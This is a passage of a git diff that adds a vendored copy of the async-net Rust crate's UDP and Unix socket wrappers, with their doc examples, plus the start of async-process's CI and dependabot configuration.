std::io::Result::Ok(()) }); + /// ``` + pub async fn peek(&self, buf: &mut [u8]) -> io::Result { + self.inner.peek(buf).await + } + + /// Sends data to the connected address. + /// + /// The [`connect()`][`UdpSocket::connect()`] method connects this socket to an address. This + /// method will fail if the socket is not connected. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.connect("127.0.0.1:8080").await?; + /// socket.send(b"hello").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn send(&self, buf: &[u8]) -> io::Result { + self.inner.send(buf).await + } + + /// Gets the value of the `SO_BROADCAST` option for this socket. + /// + /// If set to `true`, this socket is allowed to send packets to a broadcast address. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// println!("SO_BROADCAST is set to {}", socket.broadcast()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn broadcast(&self) -> io::Result { + self.inner.get_ref().broadcast() + } + + /// Sets the value of the `SO_BROADCAST` option for this socket. + /// + /// If set to `true`, this socket is allowed to send packets to a broadcast address. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.set_broadcast(true)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn set_broadcast(&self, broadcast: bool) -> io::Result<()> { + self.inner.get_ref().set_broadcast(broadcast) + } + + /// Gets the value of the `IP_MULTICAST_LOOP` option for this socket. + /// + /// If set to `true`, multicast packets will be looped back to the local socket. + /// + /// Note that this option may not have any affect on IPv6 sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// println!("IP_MULTICAST_LOOP is set to {}", socket.multicast_loop_v4()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn multicast_loop_v4(&self) -> io::Result { + self.inner.get_ref().multicast_loop_v4() + } + + /// Sets the value of the `IP_MULTICAST_LOOP` option for this socket. + /// + /// If set to `true`, multicast packets will be looped back to the local socket. + /// + /// Note that this option may not have any affect on IPv6 sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.set_multicast_loop_v4(true)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn set_multicast_loop_v4(&self, multicast_loop_v4: bool) -> io::Result<()> { + self.inner + .get_ref() + .set_multicast_loop_v4(multicast_loop_v4) + } + + /// Gets the value of the `IP_MULTICAST_TTL` option for this socket. + /// + /// Indicates the time-to-live value of outgoing multicast packets for this socket. The default + /// value is 1, which means that multicast packets don't leave the local network unless + /// explicitly requested. + /// + /// Note that this option may not have any effect on IPv6 sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// println!("IP_MULTICAST_TTL is set to {}", socket.multicast_loop_v4()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn multicast_ttl_v4(&self) -> io::Result { + self.inner.get_ref().multicast_ttl_v4() + } + + /// Sets the value of the `IP_MULTICAST_TTL` option for this socket. + /// + /// Indicates the time-to-live value of outgoing multicast packets for this socket. The default + /// value is 1, which means that multicast packets don't leave the local network unless + /// explicitly requested. + /// + /// Note that this option may not have any effect on IPv6 sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.set_multicast_ttl_v4(10)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn set_multicast_ttl_v4(&self, ttl: u32) -> io::Result<()> { + self.inner.get_ref().set_multicast_ttl_v4(ttl) + } + + /// Gets the value of the `IPV6_MULTICAST_LOOP` option for this socket. + /// + /// Controls whether this socket sees the multicast packets it sends itself. + /// + /// Note that this option may not have any effect on IPv4 sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// println!("IPV6_MULTICAST_LOOP is set to {}", socket.multicast_loop_v6()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn multicast_loop_v6(&self) -> io::Result { + self.inner.get_ref().multicast_loop_v6() + } + + /// Sets the value of the `IPV6_MULTICAST_LOOP` option for this socket. + /// + /// Controls whether this socket sees the multicast packets it sends itself. + /// + /// Note that this option may not have any effect on IPv4 sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.set_multicast_loop_v6(true)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn set_multicast_loop_v6(&self, multicast_loop_v6: bool) -> io::Result<()> { + self.inner + .get_ref() + .set_multicast_loop_v6(multicast_loop_v6) + } + + /// Gets the value of the `IP_TTL` option for this socket. + /// + /// This option configures the time-to-live field that is used in every packet sent from this + /// socket. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// println!("IP_TTL is set to {}", socket.ttl()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn ttl(&self) -> io::Result { + self.inner.get_ref().ttl() + } + + /// Sets the value of the `IP_TTL` option for this socket. + /// + /// This option configures the time-to-live field that is used in every packet sent from this + /// socket. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.set_ttl(100)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn set_ttl(&self, ttl: u32) -> io::Result<()> { + self.inner.get_ref().set_ttl(ttl) + } + + /// Executes an operation of the `IP_ADD_MEMBERSHIP` type. + /// + /// This method specifies a new multicast group for this socket to join. Argument `multiaddr` + /// must be a valid multicast address, and `interface` is the address of the local interface + /// with which the system should join the multicast group. If it's equal to `INADDR_ANY` then + /// an appropriate interface is chosen by the system. + pub fn join_multicast_v4(&self, multiaddr: Ipv4Addr, interface: Ipv4Addr) -> io::Result<()> { + self.inner + .get_ref() + .join_multicast_v4(&multiaddr, &interface) + } + + /// Executes an operation of the `IP_DROP_MEMBERSHIP` type. + /// + /// This method leaves a multicast group. Argument `multiaddr` must be a valid multicast + /// address, and `interface` is the index of the interface to leave. + pub fn leave_multicast_v4(&self, multiaddr: Ipv4Addr, interface: Ipv4Addr) -> io::Result<()> { + self.inner + .get_ref() + .leave_multicast_v4(&multiaddr, &interface) + } + + /// Executes an operation of the `IPV6_ADD_MEMBERSHIP` type. + /// + /// This method specifies a new multicast group for this socket to join. Argument `multiaddr` + /// must be a valid multicast address, and `interface` is the index of the interface to join + /// (or 0 to indicate any interface). + pub fn join_multicast_v6(&self, multiaddr: &Ipv6Addr, interface: u32) -> io::Result<()> { + self.inner.get_ref().join_multicast_v6(multiaddr, interface) + } + + /// Executes an operation of the `IPV6_DROP_MEMBERSHIP` type. + /// + /// This method leaves a multicast group. Argument `multiaddr` must be a valid multicast + /// address, and `interface` is the index of the interface to leave. + pub fn leave_multicast_v6(&self, multiaddr: &Ipv6Addr, interface: u32) -> io::Result<()> { + self.inner + .get_ref() + .leave_multicast_v6(multiaddr, interface) + } +} + +impl From> for UdpSocket { + fn from(socket: Async) -> UdpSocket { + UdpSocket::new(Arc::new(socket)) + } +} + +impl TryFrom for UdpSocket { + type Error = io::Error; + + fn try_from(socket: std::net::UdpSocket) -> io::Result { + Ok(UdpSocket::new(Arc::new(Async::new(socket)?))) + } +} + +impl From for Arc> { + fn from(val: UdpSocket) -> Self { + val.inner + } +} + +#[cfg(unix)] +impl AsRawFd for UdpSocket { + fn as_raw_fd(&self) -> RawFd { + self.inner.as_raw_fd() + } +} + +#[cfg(unix)] +impl AsFd for UdpSocket { + fn as_fd(&self) -> BorrowedFd<'_> { + self.inner.get_ref().as_fd() + } +} + +#[cfg(unix)] +impl TryFrom for UdpSocket { + type Error = io::Error; + + fn try_from(value: OwnedFd) -> Result { + Self::try_from(std::net::UdpSocket::from(value)) + } +} + +#[cfg(windows)] +impl AsRawSocket for UdpSocket { + fn as_raw_socket(&self) -> RawSocket { + self.inner.as_raw_socket() + } +} + +#[cfg(windows)] +impl AsSocket for UdpSocket { + fn as_socket(&self) -> BorrowedSocket<'_> { + self.inner.get_ref().as_socket() + } +} + +#[cfg(windows)] +impl TryFrom for UdpSocket { + type Error = io::Error; + + fn try_from(value: OwnedSocket) -> Result { + Self::try_from(std::net::UdpSocket::from(value)) + } +} diff --git a/lib/malio/async-net/src/unix.rs b/lib/malio/async-net/src/unix.rs new file mode 100644 index 0000000..d450937 --- /dev/null +++ b/lib/malio/async-net/src/unix.rs @@ -0,0 +1,776 @@ +//! Unix domain sockets. +//! +//! This module is an async version of [`std::os::unix::net`]. + +use std::fmt; +use std::io::{self, Read as _, Write as _}; +use std::net::Shutdown; +#[cfg(unix)] +use std::os::unix::io::{AsFd, AsRawFd, BorrowedFd, OwnedFd, RawFd}; +#[cfg(windows)] +use std::os::windows::io::{AsRawSocket, RawSocket}; +use std::panic::{RefUnwindSafe, UnwindSafe}; +use std::path::Path; +use std::pin::Pin; +use std::sync::Arc; +use std::task::{Context, Poll}; + +#[doc(no_inline)] +pub use std::os::unix::net::SocketAddr; + +use async_io::Async; +use futures_lite::{prelude::*, ready}; + +/// A Unix server, listening for connections. +/// +/// After creating a [`UnixListener`] by [`bind`][`UnixListener::bind()`]ing it to an address, it +/// listens for incoming connections. These can be accepted by calling +/// [`accept()`][`UnixListener::accept()`] or by awaiting items from the async stream of +/// [`incoming`][`UnixListener::incoming()`] connections. +/// +/// Cloning a [`UnixListener`] creates another handle to the same socket. The socket will be closed +/// when all handles to it are dropped. +/// +/// # Examples +/// +/// ```no_run +/// use async_net::unix::UnixListener; +/// use futures_lite::prelude::*; +/// +/// # futures_lite::future::block_on(async { +/// let listener = UnixListener::bind("/tmp/socket")?; +/// let mut incoming = listener.incoming(); +/// +/// while let Some(stream) = incoming.next().await { +/// let mut stream = stream?; +/// stream.write_all(b"hello").await?; +/// } +/// # std::io::Result::Ok(()) }); +/// ``` +#[derive(Clone, Debug)] +pub struct UnixListener { + inner: Arc>, +} + +impl UnixListener { + fn new(inner: Arc>) -> UnixListener { + UnixListener { inner } + } + + /// Creates a new [`UnixListener`] bound to the given path. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixListener; + /// use futures_lite::prelude::*; + /// + /// # futures_lite::future::block_on(async { + /// let listener = UnixListener::bind("/tmp/socket")?; + /// let mut incoming = listener.incoming(); + /// + /// while let Some(stream) = incoming.next().await { + /// let mut stream = stream?; + /// stream.write_all(b"hello").await?; + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn bind>(path: P) -> io::Result { + let listener = Async::::bind(path)?; + Ok(UnixListener::new(Arc::new(listener))) + } + + /// Accepts a new incoming connection. + /// + /// Returns a TCP stream and the address it is connected to. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = UnixListener::bind("/tmp/socket")?; + /// let (stream, addr) = listener.accept().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn accept(&self) -> io::Result<(UnixStream, SocketAddr)> { + let (stream, addr) = self.inner.accept().await?; + Ok((UnixStream::new(Arc::new(stream)), addr)) + } + + /// Returns a stream of incoming connections. + /// + /// Iterating over this stream is equivalent to calling [`accept()`][`UnixListener::accept()`] + /// in a loop. The stream of connections is infinite, i.e awaiting the next connection will + /// never result in [`None`]. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixListener; + /// use futures_lite::prelude::*; + /// + /// # futures_lite::future::block_on(async { + /// let listener = UnixListener::bind("/tmp/socket")?; + /// let mut incoming = listener.incoming(); + /// + /// while let Some(stream) = incoming.next().await { + /// let mut stream = stream?; + /// stream.write_all(b"hello").await?; + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn incoming(&self) -> Incoming<'_> { + Incoming { + incoming: Box::pin(self.inner.incoming()), + } + } + + /// Returns the local address this listener is bound to. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = UnixListener::bind("/tmp/socket")?; + /// println!("Local address is {:?}", listener.local_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn local_addr(&self) -> io::Result { + self.inner.get_ref().local_addr() + } +} + +impl From> for UnixListener { + fn from(listener: Async) -> UnixListener { + UnixListener::new(Arc::new(listener)) + } +} + +impl TryFrom for UnixListener { + type Error = io::Error; + + fn try_from(listener: std::os::unix::net::UnixListener) -> io::Result { + Ok(UnixListener::new(Arc::new(Async::new(listener)?))) + } +} + +impl From for Arc> { + fn from(val: UnixListener) -> Self { + val.inner + } +} + +#[cfg(unix)] +impl AsRawFd for UnixListener { + fn as_raw_fd(&self) -> RawFd { + self.inner.as_raw_fd() + } +} + +#[cfg(unix)] +impl AsFd for UnixListener { + fn as_fd(&self) -> BorrowedFd<'_> { + self.inner.get_ref().as_fd() + } +} + +#[cfg(unix)] +impl TryFrom for UnixListener { + type Error = io::Error; + + fn try_from(value: OwnedFd) -> Result { + Self::try_from(std::os::unix::net::UnixListener::from(value)) + } +} + +#[cfg(windows)] +impl AsRawSocket for UnixListener { + fn as_raw_socket(&self) -> RawSocket { + self.inner.as_raw_socket() + } +} + +/// A stream of incoming Unix connections. +/// +/// This stream is infinite, i.e awaiting the next connection will never result in [`None`]. It is +/// created by the [`UnixListener::incoming()`] method. +pub struct Incoming<'a> { + incoming: Pin< + Box< + dyn Stream>> + Send + Sync + 'a, + >, + >, +} + +impl Stream for Incoming<'_> { + type Item = io::Result; + + fn poll_next(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + let res = ready!(Pin::new(&mut self.incoming).poll_next(cx)); + Poll::Ready(res.map(|res| res.map(|stream| UnixStream::new(Arc::new(stream))))) + } +} + +impl fmt::Debug for Incoming<'_> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "Incoming {{ ... }}") + } +} + +/// A Unix connection. +/// +/// A [`UnixStream`] can be created by [`connect`][`UnixStream::connect()`]ing to an endpoint or by +/// [`accept`][`UnixListener::accept()`]ing an incoming connection. +/// +/// [`UnixStream`] is a bidirectional stream that implements traits [`AsyncRead`] and +/// [`AsyncWrite`]. +/// +/// Cloning a [`UnixStream`] creates another handle to the same socket. The socket will be closed +/// when all handles to it are dropped. The reading and writing portions of the connection can also +/// be shut down individually with the [`shutdown()`][`UnixStream::shutdown()`] method. +/// +/// # Examples +/// +/// ```no_run +/// use async_net::unix::UnixStream; +/// use futures_lite::prelude::*; +/// +/// # futures_lite::future::block_on(async { +/// let mut stream = UnixStream::connect("/tmp/socket").await?; +/// stream.write_all(b"hello").await?; +/// +/// let mut buf = vec![0u8; 1024]; +/// let n = stream.read(&mut buf).await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub struct UnixStream { + inner: Arc>, + readable: Option>, + writable: Option>, +} + +impl UnwindSafe for UnixStream {} +impl RefUnwindSafe for UnixStream {} + +impl UnixStream { + fn new(inner: Arc>) -> UnixStream { + UnixStream { + inner, + readable: None, + writable: None, + } + } + + /// Creates a Unix connection to given path. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = UnixStream::connect("/tmp/socket").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn connect>(path: P) -> io::Result { + let stream = Async::::connect(path).await?; + Ok(UnixStream::new(Arc::new(stream))) + } + + /// Creates a pair of connected Unix sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixStream; + /// + /// # futures_lite::future::block_on(async { + /// let (stream1, stream2) = UnixStream::pair()?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn pair() -> io::Result<(UnixStream, UnixStream)> { + let (a, b) = Async::::pair()?; + Ok((UnixStream::new(Arc::new(a)), UnixStream::new(Arc::new(b)))) + } + + /// Returns the local address this socket is connected to. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = UnixStream::connect("/tmp/socket").await?; + /// println!("Local address is {:?}", stream.local_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn local_addr(&self) -> io::Result { + self.inner.get_ref().local_addr() + } + + /// Returns the remote address this socket is connected to. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = UnixStream::connect("/tmp/socket").await?; + /// println!("Connected to {:?}", stream.peer_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn peer_addr(&self) -> io::Result { + self.inner.get_ref().peer_addr() + } + + /// Shuts down the read half, write half, or both halves of this connection. + /// + /// This method will cause all pending and future I/O in the given directions to return + /// immediately with an appropriate value (see the documentation of [`Shutdown`]). + /// + /// ```no_run + /// use async_net::{Shutdown, unix::UnixStream}; + /// + /// # futures_lite::future::block_on(async { + /// let stream = UnixStream::connect("/tmp/socket").await?; + /// stream.shutdown(Shutdown::Both)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn shutdown(&self, how: Shutdown) -> io::Result<()> { + self.inner.get_ref().shutdown(how) + } +} + +impl fmt::Debug for UnixStream { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + self.inner.fmt(f) + } +} + +impl Clone for UnixStream { + fn clone(&self) -> UnixStream { + UnixStream::new(self.inner.clone()) + } +} + +impl From> for UnixStream { + fn from(stream: Async) -> UnixStream { + UnixStream::new(Arc::new(stream)) + } +} + +impl TryFrom for UnixStream { + type Error = io::Error; + + fn try_from(stream: std::os::unix::net::UnixStream) -> io::Result { + Ok(UnixStream::new(Arc::new(Async::new(stream)?))) + } +} + +impl From for Arc> { + fn from(val: UnixStream) -> Self { + val.inner + } +} + +#[cfg(unix)] +impl AsRawFd for UnixStream { + fn as_raw_fd(&self) -> RawFd { + self.inner.as_raw_fd() + } +} + +#[cfg(unix)] +impl AsFd for UnixStream { + fn as_fd(&self) -> BorrowedFd<'_> { + self.inner.get_ref().as_fd() + } +} + +#[cfg(unix)] +impl TryFrom for UnixStream { + type Error = io::Error; + + fn try_from(value: OwnedFd) -> Result { + Self::try_from(std::os::unix::net::UnixStream::from(value)) + } +} + +#[cfg(windows)] +impl AsRawSocket for UnixStream { + fn as_raw_socket(&self) -> RawSocket { + self.inner.as_raw_socket() + } +} + +impl AsyncRead for UnixStream { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + loop { + // Attempt the non-blocking operation. + match self.inner.get_ref().read(buf) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => { + self.readable = None; + return Poll::Ready(res); + } + } + + // Initialize the future to wait for readiness. + if self.readable.is_none() { + self.readable = Some(self.inner.clone().readable_owned()); + } + + // Poll the future for readiness. + if let Some(f) = &mut self.readable { + let res = ready!(Pin::new(f).poll(cx)); + self.readable = None; + res?; + } + } + } +} + +impl AsyncWrite for UnixStream { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + loop { + // Attempt the non-blocking operation. + match self.inner.get_ref().write(buf) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => { + self.writable = None; + return Poll::Ready(res); + } + } + + // Initialize the future to wait for readiness. + if self.writable.is_none() { + self.writable = Some(self.inner.clone().writable_owned()); + } + + // Poll the future for readiness. + if let Some(f) = &mut self.writable { + let res = ready!(Pin::new(f).poll(cx)); + self.writable = None; + res?; + } + } + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + loop { + // Attempt the non-blocking operation. + match self.inner.get_ref().flush() { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => { + self.writable = None; + return Poll::Ready(res); + } + } + + // Initialize the future to wait for readiness. + if self.writable.is_none() { + self.writable = Some(self.inner.clone().writable_owned()); + } + + // Poll the future for readiness. + if let Some(f) = &mut self.writable { + let res = ready!(Pin::new(f).poll(cx)); + self.writable = None; + res?; + } + } + } + + fn poll_close(self: Pin<&mut Self>, _: &mut Context<'_>) -> Poll> { + Poll::Ready(self.inner.get_ref().shutdown(Shutdown::Write)) + } +} + +/// A Unix datagram socket. +/// +/// After creating a [`UnixDatagram`] by [`bind`][`UnixDatagram::bind()`]ing it to a path, data can +/// be [sent to] and [received from] any other socket address. +/// +/// Cloning a [`UnixDatagram`] creates another handle to the same socket. The socket will be closed +/// when all handles to it are dropped. The reading and writing portions of the socket can also be +/// shut down individually with the [`shutdown()`][`UnixStream::shutdown()`] method. +/// +/// [received from]: UnixDatagram::recv_from() +/// [sent to]: UnixDatagram::send_to() +/// +/// # Examples +/// +/// ```no_run +/// use async_net::unix::UnixDatagram; +/// +/// # futures_lite::future::block_on(async { +/// let socket = UnixDatagram::bind("/tmp/socket1")?; +/// socket.send_to(b"hello", "/tmp/socket2").await?; +/// +/// let mut buf = vec![0u8; 1024]; +/// let (n, addr) = socket.recv_from(&mut buf).await?; +/// # std::io::Result::Ok(()) }); +/// ``` +#[derive(Clone, Debug)] +pub struct UnixDatagram { + inner: Arc>, +} + +impl UnixDatagram { + fn new(inner: Arc>) -> UnixDatagram { + UnixDatagram { inner } + } + + /// Creates a new [`UnixDatagram`] bound to the given address. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::bind("/tmp/socket")?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn bind>(path: P) -> io::Result { + let socket = Async::::bind(path)?; + Ok(UnixDatagram::new(Arc::new(socket))) + } + + /// Creates a Unix datagram socket not bound to any address. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::unbound()?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn unbound() -> io::Result { + let socket = Async::::unbound()?; + Ok(UnixDatagram::new(Arc::new(socket))) + } + + /// Creates a pair of connected Unix datagram sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let (socket1, socket2) = UnixDatagram::pair()?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn pair() -> io::Result<(UnixDatagram, UnixDatagram)> { + let (a, b) = Async::::pair()?; + Ok(( + UnixDatagram::new(Arc::new(a)), + UnixDatagram::new(Arc::new(b)), + )) + } + + /// Connects the Unix datagram socket to the given address. + /// + /// When connected, methods [`send()`][`UnixDatagram::send()`] and + /// [`recv()`][`UnixDatagram::recv()`] will use the specified address for sending and receiving + /// messages. Additionally, a filter will be applied to + /// [`recv_from()`][`UnixDatagram::recv_from()`] so that it only receives messages from that + /// same address. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::unbound()?; + /// socket.connect("/tmp/socket")?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn connect>(&self, path: P) -> io::Result<()> { + let p = path.as_ref(); + self.inner.get_ref().connect(p) + } + + /// Returns the local address this socket is bound to. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::bind("/tmp/socket")?; + /// println!("Bound to {:?}", socket.local_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn local_addr(&self) -> io::Result { + self.inner.get_ref().local_addr() + } + + /// Returns the remote address this socket is connected to. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::unbound()?; + /// socket.connect("/tmp/socket")?; + /// println!("Connected to {:?}", socket.peer_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn peer_addr(&self) -> io::Result { + self.inner.get_ref().peer_addr() + } + + /// Receives data from an address. + /// + /// On success, returns the number of bytes received and the address data came from. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::bind("/tmp/socket")?; + /// + /// let mut buf = vec![0; 1024]; + /// let (n, addr) = socket.recv_from(&mut buf).await?; + /// println!("Received {} bytes from {:?}", n, addr); + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn recv_from(&self, buf: &mut [u8]) -> io::Result<(usize, SocketAddr)> { + self.inner.recv_from(buf).await + } + + /// Sends data to the given address. + /// + /// On success, returns the number of bytes sent. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::unbound()?; + /// socket.send_to(b"hello", "/tmp/socket").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn send_to>(&self, buf: &[u8], path: P) -> io::Result { + self.inner.send_to(buf, path.as_ref()).await + } + + /// Receives data from the connected address. + /// + /// On success, returns the number of bytes received. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::unbound()?; + /// socket.connect("/tmp/socket")?; + /// + /// let mut buf = vec![0; 1024]; + /// let n = socket.recv(&mut buf).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn recv(&self, buf: &mut [u8]) -> io::Result { + self.inner.recv(buf).await + } + + /// Sends data to the connected address. + /// + /// On success, returns the number of bytes sent. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::unbound()?; + /// socket.connect("/tmp/socket")?; + /// socket.send(b"hello").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn send(&self, buf: &[u8]) -> io::Result { + self.inner.send(buf).await + } + + /// Shuts down the read half, write half, or both halves of this socket. + /// + /// This method will cause all pending and future I/O in the given directions to return + /// immediately with an appropriate value (see the documentation of [`Shutdown`]). + /// + /// # Examples + /// + /// ```no_run + /// use async_net::{Shutdown, unix::UnixDatagram}; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::unbound()?; + /// socket.shutdown(Shutdown::Both)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn shutdown(&self, how: Shutdown) -> io::Result<()> { + self.inner.get_ref().shutdown(how) + } +} + +impl From> for UnixDatagram { + fn from(socket: Async) -> UnixDatagram { + UnixDatagram::new(Arc::new(socket)) + } +} + +impl TryFrom for UnixDatagram { + type Error = io::Error; + + fn try_from(socket: std::os::unix::net::UnixDatagram) -> io::Result { + Ok(UnixDatagram::new(Arc::new(Async::new(socket)?))) + } +} + +impl From for Arc> { + fn from(val: UnixDatagram) -> Self { + val.inner + } +} + +#[cfg(unix)] +impl AsRawFd for UnixDatagram { + fn as_raw_fd(&self) -> RawFd { + self.inner.as_raw_fd() + } +} + +#[cfg(windows)] +impl AsRawSocket for UnixDatagram { + fn as_raw_socket(&self) -> RawSocket { + self.inner.as_raw_socket() + } +} diff --git a/lib/malio/async-process/.github/dependabot.yml b/lib/malio/async-process/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/async-process/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/async-process/.github/workflows/ci.yml b/lib/malio/async-process/.github/workflows/ci.yml new file mode 100644 index 0000000..0ea14a5 --- /dev/null +++ b/lib/malio/async-process/.github/workflows/ci.yml @@ -0,0 +1,122 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + clippy: + uses: smol-rs/.github/.github/workflows/clippy.yml@main + with: + # Windows for windows module. + additional-targets: x86_64-pc-windows-msvc + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + rust: [nightly, beta, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + # --no-self-update is necessary because the windows environment cannot self-update rustup.exe. + run: rustup update ${{ matrix.rust }} --no-self-update && rustup default ${{ matrix.rust }} + - name: Install cargo-hack and cargo-minimal-versions + uses: taiki-e/install-action@v2 + with: + tool: 